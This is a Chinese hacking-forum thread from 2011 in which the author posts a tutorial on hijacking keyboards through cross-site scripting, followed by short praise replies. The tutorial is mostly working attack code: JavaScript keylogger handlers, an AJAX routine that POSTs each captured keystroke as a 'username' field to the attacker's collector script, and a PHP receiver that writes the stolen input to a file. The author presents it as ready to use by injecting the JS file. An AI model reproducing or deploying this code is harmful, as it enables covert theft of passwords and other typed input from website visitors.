# Xss高级技巧劫持键盘

**URL:** <https://forum.90sec.com/t/topic/2784>\
**Category:** 技术文章\
**Created:** [2011 年10 月 24 日 15:02 UTC](https://forum.90sec.com/t/topic/2784 "2011-10-24T15:02:33Z")\
**Posts on this page:** 20\
**Page:** 1

<div class="post-metadata">

作者： ![mOon](https://forum.90sec.com/letter_avatar_proxy/v4/letter/m/f07891/32.png) [@mOon](https://forum.90sec.com/u/mOon)\
发布日期： [2011 年10 月 24 日 15:02 UTC](https://forum.90sec.com/t/topic/2784/1 "2011-10-24T15:02:33Z")

</div>

## Title: Xss高级技巧劫持键盘 Author :Dark'moon (暗月式) Tem:www.90sec.org blog:blog.moonhack.com XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击，因为其被动且不好利用，所以许多人常忽略其危害性 大神飞过把 今天就来说说这个劫持键盘怎么怎么实现的 Js里面的最主要的就是这几个按键事件 onkeydown 当用户按下键盘按键时触发。 onkeypress 当用户按下字面键时触发。 onkeyup 当用户释放键盘按键时触发。

Onkeydown 和onkeyup 获取的都是大写的 几乎所有的字符串都是可以获取的  
Onkeyoress 获取的是小写 一些打印字符获取不了 例如退格 等等 但是！像这些字符shift+1 他是直接获取！不像onkeydown onkeyup都是获取两个字符的  
事件的初始化  
Function keydown(){  
}  
document.onkeydown = keydown;  
像这样子随便在键盘上按一个键都会触发这一个函数其他的也是一样的

我们还需要考虑一下浏览器 不同的浏览器 获取的对象都是不一样的

Ie的话我们用 event.keyCode;像火狐的的就要  
加一个参数然后要用的which对象属性[code="java"]function keydown(x){  
var keycode=x.which;  
}  
Document.onkeydown=keydown;因为获取都是键盘数 （keycode）所以呢还需要用 String.fromCharCode进行转换  
下面是ie的是三个键盘事件的代码[code="java"]

```xml
<HTML>
<HEAD><TITLE>onkeypress</TITLE>

</HEAD>
<BODY>
<script type="text/javascript">
	var aaa="";
	var bbb="";
  function onkeypress() {   
           var keycode = event.keyCode;   
           var realkey = String.fromCharCode(event.keyCode); 
		aaa+=realkey;
		bbb+=keycode;
       document.getElementById("sb").innerHTML=aaa; 
	document.getElementById("eb").innerHTML=bbb; 
       }   
       document.onkeypress = onkeypress;
</script>
<div id="sb"></div>
<hr>
<div id="eb"></div>
</BODY>
</HTML>

```

\<HTML\>  
\<HEAD\>\<TITLE\>keydown\</TITLE\>

\</HEAD\>  
\<BODY\>

```xml
<script type="text/javascript">
	var aaa="";
	var bbb="";
  function keydown() {   
           var keycode = event.keyCode;   
           var realkey = String.fromCharCode(event.keyCode); 
		aaa+=realkey;
		bbb+=keycode;
       document.getElementById("sb").innerHTML=aaa; 
	document.getElementById("eb").innerHTML=bbb; 
       }   
      document.onkeydown =keydown;
</script>

```

\<div id="sb"\>\</div\>  
\<hr\>  
\<div id="eb"\>\</div\>  
\</BODY\>  
\</HTML\>

\<HTML\>  
\<HEAD\>\<TITLE\>keyup\</TITLE\>

\</HEAD\>  
\<BODY\>

```xml
<script type="text/javascript">
	var aaa="";
	var bbb="";
  function keyup() {   
           var keycode = event.keyCode;   
           var realkey = String.fromCharCode(event.keyCode); 
		aaa+=realkey;
		bbb+=keycode;
       document.getElementById("sb").innerHTML=aaa; 
	document.getElementById("eb").innerHTML=bbb; 
       }   
     document.onkeyup =keyup;
</script>

```

\<div id="sb"\>\</div\>  
\<hr\>  
\<div id="eb"\>\</div\>  
\</BODY\>  
\</HTML\>  
根据他们的不同..相互互补完成了这一样一个脚本 能看懂的就看下把 功能差不多归功于onkeypress onkeypress获取不到  
都用keydown来获取[code="java"]\<HTML\>  
\<HEAD\>\<TITLE\>js劫持键盘代码by Darkmoon\</TITLE\>

\</HEAD\>  
\<BODY\>

```xml
<script type="text/javascript">
	var aaa="";
	var bbb="";
  function onkeypress() {   
       var keycode = event.keyCode;
		//var keyname=0;  
       //var realkey = String.fromCharCode(event.keyCode); 
	switch(keycode){
	case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyname="";break;

	break;
     default:keyname = String.fromCharCode(keycode);break;
		}
		aaa+=keycode;
		bbb+=keyname;
//document.getElementById("sb").innerHTML=aaa; 
document.getElementById("xb").innerHTML=bbb;
	}  
	
	function keydown(){
	 var keycode = event.keyCode;
	if((keycode>7&&keycode<14)||(keycode>31&&keycode<47)){
	switch(keycode){
	     case 8: keyname = "[退格]"; break;
          case 9: keyname = "[制表]"; break;
          case 13:keyname = "[回车]"; break;
          case 32:keyname = "[空格]"; break;
          case 33:keyname = "[PageUp]"; break;
          case 34:keyname = "[PageDown]"; break;
          case 35:keyname = "[End]"; break;
          case 36:keyname = "[Home]"; break;
          case 37:keyname = "[方向键左]"; break;
          case 38:keyname = "[方向键上]"; break;
          case 39:keyname = "[方向键右]"; break;
          case 40:keyname = "[方向键下]"; break;
          case 46:keyname = "[删除]"; break;
          default:keyname = "";break;
		}

	
		}else{

		keyname="";
		}
bbb+=keyname;
document.getElementById("xb").innerHTML=bbb; 
	}

     document.onkeypress = onkeypress;
	 document.onkeydown = keydown;
	
</script>

```

\<div id="eb"\>\</div\>  
\<Hr\>  
\<div id="xb"\>\</div\>  
\</BODY\>  
\</HTML\>  
上面是综合写了一个脚本  
如图:[2.jpg](https://forum.90sec.com/discuz-migration/attachments/ec5c42492affe5845bb306926005e9aba9c082d87ab00d1f2ac7cff94fc7c86b)

那么xss呢 说到xss的不能不说ajax 技术 xss的利用很大归功于ajax 基于本文不是基础的  
不理解的话先看一下资料 或者百度一下吧 或者找我以前做个视频教程.............  
下面是花了一天时间写的js[code="java"]  
function createAjax(){  
var request=false;

```
	//window对象中有XMLHttpRequest存在就是非IE，包括（IE7，IE8）
	if(window.XMLHttpRequest){
		request=new XMLHttpRequest();

		if(request.overrideMimeType){
			request.overrideMimeType("text/xml");
		}
	

	//window对象中有ActiveXObject属性存在就是IE
	}else if(window.ActiveXObject){
		
		var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

		for(var i=0; i&lt;versions.length; i++){
				try{
					request=new ActiveXObject(versions[i]);

					if(request){
						return request;
					}
				}catch(e){
					request=false;
				}
		}
	}
	return request;
}

```

//注意： 要每次请求都要使用一个新的XMLHttpRequest  
/\*  
如果使用get将数据传给服务器，则服务器就使用$\_GET  
就直接通过Url将数据传给服务器

```
使用POST时一定要使用	ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

```

\*/  
var ajax=null;  
var xl="username=";

function onkeypress() {

```
   var realkey = String.fromCharCode(event.keyCode); 
    xl+=realkey;
	show();
}  

```

document.onkeypress = onkeypress;

function show(){

```
ajax=createAjax();
ajax.onreadystatechange=function(){

	if(ajax.readyState==4){
		if(ajax.status==200){
			var data=ajax.responseText;
			
			//alert(data);

		}else{
			alert("页面请求失败");
		}
	}
}
//document.onkeypress = onkeypress;
var postdate = xl;
ajax.open("POST", "http://127.0.0.1/yans/post.php", true);
ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
ajax.setRequestHeader("Content-length", postdate.length);
ajax.setRequestHeader("Connection", "close");
ajax.send(postdate);

//ajax.send(null);

//by darkmoon link:90sec.org blog:blog.moonhack.com

```

}  
还有接收的php脚本  
只要调用一下js文件 xss劫持键盘就能够实现！！！！！！！

```php
<?php
//if($_POST['bbb']){
$a=$_POST['username'];
$handle=fopen('fuck.txt',"w");
fwrite($handle,$a."\r\n");
//}

?>

```

看图  
[3.jpg](https://forum.90sec.com/discuz-migration/attachments/c86ce56fb958c8de5ef763fb1e0c8f663a40156a13b37fffe0dcd8a32c6de0ad)  
代码打包一份  
[Darkmoon.zip](https://forum.90sec.com/discuz-migration/attachments/1ef52297bf4fa09295bc6ceb7e24a53d393168c48987153502fe172d8d09827c)  
鉴于本人文笔有限 表达不清 参考资料慢慢看把：  
[http://www.cnblogs.com/sunny\_kitty/archive/2009/10/28/1591302.html](http://www.cnblogs.com/sunny_kitty/archive/2009/10/28/1591302.html)  
[http://baike.baidu.com/view/1641.htm](http://baike.baidu.com/view/1641.htm)

---

<div class="post-metadata">

作者： ![Gavin](https://forum.90sec.com/letter_avatar_proxy/v4/letter/g/439d5e/32.png) [@Gavin](https://forum.90sec.com/u/Gavin)\
发布日期： [2011 年10 月 24 日 15:13 UTC](https://forum.90sec.com/t/topic/2784/2 "2011-10-24T15:13:52Z")

</div>

{:4\_51:}占座支持~

---

<div class="post-metadata">

作者： ![user\_deleted4](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/c89c15/32.png) [@user\_deleted4](https://forum.90sec.com/u/user_deleted4)\
发布日期： [2011 年10 月 24 日 15:32 UTC](https://forum.90sec.com/t/topic/2784/3 "2011-10-24T15:32:31Z")

</div>

给力。。。。。

---

<div class="post-metadata">

作者： ![fan](https://forum.90sec.com/letter_avatar_proxy/v4/letter/f/df788c/32.png) [@fan](https://forum.90sec.com/u/fan)\
发布日期： [2011 年10 月 24 日 23:49 UTC](https://forum.90sec.com/t/topic/2784/4 "2011-10-24T23:49:07Z")

</div>

男下女上被动式好啊。。。

---

<div class="post-metadata">

作者： ![cfking](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/3da27b/32.png) [@cfking](https://forum.90sec.com/u/cfking)\
发布日期： [2011 年10 月 25 日 00:05 UTC](https://forum.90sec.com/t/topic/2784/5 "2011-10-25T00:05:47Z")

</div>

暗月你个性签名挂了

---

<div class="post-metadata">

作者： ![mOon](https://forum.90sec.com/letter_avatar_proxy/v4/letter/m/f07891/32.png) [@mOon](https://forum.90sec.com/u/mOon)\
发布日期： [2011 年10 月 25 日 04:21 UTC](https://forum.90sec.com/t/topic/2784/6 "2011-10-25T04:21:39Z")

</div>

\*\*回复 [6#](http://www.90sec.org/redirect.php?goto=findpost&pid=2390&ptid=442) _落叶_ \*\*

```
你 不给我微博连接 你们坏了

```

---

<div class="post-metadata">

作者： ![cfking](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/3da27b/32.png) [@cfking](https://forum.90sec.com/u/cfking)\
发布日期： [2011 年10 月 25 日 04:24 UTC](https://forum.90sec.com/t/topic/2784/7 "2011-10-25T04:24:22Z")

</div>

\*\*回复 [8#](http://www.90sec.org/redirect.php?goto=findpost&pid=2395&ptid=442) _darkmoon_ \*\*

```
这个挂不鸟的

```

---

<div class="post-metadata">

作者： ![user10](https://forum.90sec.com/user_avatar/forum.90sec.com/user10/32/11334_2.png) [@user10](https://forum.90sec.com/u/user10)\
发布日期： [2011 年10 月 25 日 08:35 UTC](https://forum.90sec.com/t/topic/2784/8 "2011-10-25T08:35:20Z")

</div>

确实很不错，学习了

---

<div class="post-metadata">

作者： ![Roger](https://forum.90sec.com/user_avatar/forum.90sec.com/roger/32/11340_2.png) [@Roger](https://forum.90sec.com/u/Roger)\
发布日期： [2011 年10 月 25 日 09:09 UTC](https://forum.90sec.com/t/topic/2784/9 "2011-10-25T09:09:06Z")

</div>

不错！！！！！！！！

---

<div class="post-metadata">

作者： ![mOon](https://forum.90sec.com/letter_avatar_proxy/v4/letter/m/f07891/32.png) [@mOon](https://forum.90sec.com/u/mOon)\
发布日期： [2011 年10 月 25 日 12:43 UTC](https://forum.90sec.com/t/topic/2784/10 "2011-10-25T12:43:43Z")

</div>

\*\*回复 [9#](http://www.90sec.org/redirect.php?goto=findpost&pid=2396&ptid=442) _落叶_ \*\*

```
挂了 你看

```

---

<div class="post-metadata">

作者： ![pandas](https://forum.90sec.com/user_avatar/forum.90sec.com/pandas/32/11352_2.png) [@pandas](https://forum.90sec.com/u/pandas)\
发布日期： [2011 年10 月 27 日 07:15 UTC](https://forum.90sec.com/t/topic/2784/11 "2011-10-27T07:15:35Z")

</div>

呵呵 好久没看XSS的帖子了 支持一下 XSS对我来说 难利用 哎 菜鸟啊

---

<div class="post-metadata">

作者： ![user12](https://forum.90sec.com/user_avatar/forum.90sec.com/user12/32/11336_2.png) [@user12](https://forum.90sec.com/u/user12)\
发布日期： [2011 年10 月 30 日 10:13 UTC](https://forum.90sec.com/t/topic/2784/12 "2011-10-30T10:13:06Z")

</div>

{:4\_40:}{:4\_47:}好牛b阿呜呜呜

---

<div class="post-metadata">

作者： ![c11](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/71e660/32.png) [@c11](https://forum.90sec.com/u/c11)\
发布日期： [2011 年11 月 10 日 12:54 UTC](https://forum.90sec.com/t/topic/2784/13 "2011-11-10T12:54:29Z")

</div>

很详细。给力、、诶js不过关啊。。有些看不懂

---

<div class="post-metadata">

作者： ![lzx6281269](https://forum.90sec.com/letter_avatar_proxy/v4/letter/l/fbc32d/32.png) [@lzx6281269](https://forum.90sec.com/u/lzx6281269)\
发布日期： [2011 年11 月 24 日 11:57 UTC](https://forum.90sec.com/t/topic/2784/14 "2011-11-24T11:57:11Z")

</div>

不怎么看的懂，支持你`

---

<div class="post-metadata">

作者： ![user\_deleted59](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/59ef9b/32.png) [@user\_deleted59](https://forum.90sec.com/u/user_deleted59)\
发布日期： [2011 年11 月 24 日 12:03 UTC](https://forum.90sec.com/t/topic/2784/15 "2011-11-24T12:03:12Z")

</div>

看一个。。。。。

---

<div class="post-metadata">

作者： ![user33](https://forum.90sec.com/user_avatar/forum.90sec.com/user33/32/11379_2.png) [@user33](https://forum.90sec.com/u/user33)\
发布日期： [2011 年11 月 29 日 14:22 UTC](https://forum.90sec.com/t/topic/2784/16 "2011-11-29T14:22:30Z")

</div>

纯技术的文章必须发扬!

---

<div class="post-metadata">

作者： ![debugz3r0](https://forum.90sec.com/letter_avatar_proxy/v4/letter/d/41988e/32.png) [@debugz3r0](https://forum.90sec.com/u/debugz3r0)\
发布日期： [2011 年12 月 31 日 09:00 UTC](https://forum.90sec.com/t/topic/2784/17 "2011-12-31T09:00:47Z")

</div>

这个果断给力，download 之

---

<div class="post-metadata">

作者： ![user14](https://forum.90sec.com/user_avatar/forum.90sec.com/user14/32/11344_2.png) [@user14](https://forum.90sec.com/u/user14)\
发布日期： [2012 年2 月 7 日 20:23 UTC](https://forum.90sec.com/t/topic/2784/18 "2012-02-07T20:23:34Z")

</div>

不得不说这篇文章好哇

---

<div class="post-metadata">

作者： ![dgrzh](https://forum.90sec.com/letter_avatar_proxy/v4/letter/d/ee7513/32.png) [@dgrzh](https://forum.90sec.com/u/dgrzh)\
发布日期： [2013 年2 月 18 日 08:00 UTC](https://forum.90sec.com/t/topic/2784/19 "2013-02-18T08:00:38Z")

</div>

很不错的文章，久仰暗月大牛的大名

---

<div class="post-metadata">

作者： ![user90](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/df788c/32.png) [@user90](https://forum.90sec.com/u/user90)\
发布日期： [2013 年2 月 22 日 00:18 UTC](https://forum.90sec.com/t/topic/2784/20 "2013-02-22T00:18:36Z")

</div>

鉴定完毕 参照2010 年黑客手册 百度跨站利用一文
